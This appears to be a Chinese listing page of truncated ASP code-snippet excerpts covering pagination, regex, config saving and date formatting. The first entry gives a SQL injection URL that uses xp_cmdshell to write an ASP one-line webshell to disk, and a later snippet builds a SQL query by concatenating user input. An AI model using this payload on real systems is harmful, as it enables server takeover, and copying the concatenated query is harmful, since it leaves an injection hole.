2020-02-16 标签:asp,注入,详细,命令,40,转义,字符,一句话,木马,文件,方法,http,192,168,display,keyno,1881

1、 用^转义字符来写ASP(一句话木马)文件的方法:http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^execute request^("l"^)^ >c:\mu.asp';--echo

2020-02-16 标签:asp,数据库,连接,函数,实现,代码,如下,以下,为数,相关,初始化,对象,使用,原则,最迟,调用,最早,释放

实现代码如下：' ******************************************** ' 以下为数据库相关函数 ' ******************************************** ' ==================================

2020-02-16 标签:asp,常用,系统配置,函数,sub,saveconfig,dim,fso,hf,set,server,scripting,mappath,inc,config,true,write

sub SaveConfig()dim fso,hfset fso=Server.CreateObject("Scripting.FileSystemObject")set hf=fso.CreateTextFile(Server.mappath("../inc/config.asp"),true)

2020-02-16 标签:asp,分页,整理,程序,language,vbscript,codepage,936,doctype,html,public,w,c,dtd,xhtml

asp分页程序 姓名 密码 "" thenepage=cint(request("page"))if epagers.pagecount then epage=rs.pagecountelseepage=1end ifrs.absolutepage=epagefor i=0 t

2020-02-16 标签:asp,去除,html,标记,空格,正则,function,n,ohtml,str,dim,re,set,ew,regexp,ignorecase,true,global,pattern,replace

function nohtml(str)dim reSet re=new RegExpre.IgnoreCase =truere.Global=Truere.Pattern="(\)"str=re.replace(str," ")re.Pattern="(\)"str=re.replace(str,

2020-02-16 标签:asp,防止,垃圾,留言,代码,include,file,common,conn,sub,server,v,cstr,request,http,referer,response,write

server_v2 thenresponse.write "禁止外部提交数据"response.endend ifif len(request.form("frmContent"))>1000 thenresponse.write "输入内容超过规定字符数目"response.endend

2020-02-16 标签:asp,数据库,插入,数据,方法,rs,set,objrs,server,adodb,recordset,mysql,select,sname,users,open,objconn

Set objRs = Server.CreateObject("Adodb.Recordset") mysql = "select sname from [users] where sname = '"&sname&"'" objRs.open mysql,objConn,1,3

2020-02-16 标签:asp,正则,表达式,匹配,数字,实现,代码,如下,dim,strok,strno,12312321,12312312312,sdfsd,function,regexptest,patrn,strng,regex,match

实现代码如下：Dim strOk,strNostrOk = "12312321$12312312312$12312321$"strNo = "12312321$12312312312$12312321$sdfsd"Function RegExpTest(patrn, strng)Dim regEx,

2020-02-16 标签:asp,变量,实现,代码,如下,execute,count,aaa

实现代码如下：execute("count_" & aaa & "=""aaa的值为" &aaa & """")

2020-02-16 标签:asp,格式化,日期,时间,格式,代码,显示,参数,n,flag,yyyy,mm,dd,hh,ss

' ============================================ ' 格式化时间(显示) ' 参数：n_Flag ' 1:"yyyy-mm-dd hh:mm:ss" ' 2:"yyyy-mm-dd" ' 3:"hh:mm:ss" ' 4:"yyyy年mm月dd日" ' 5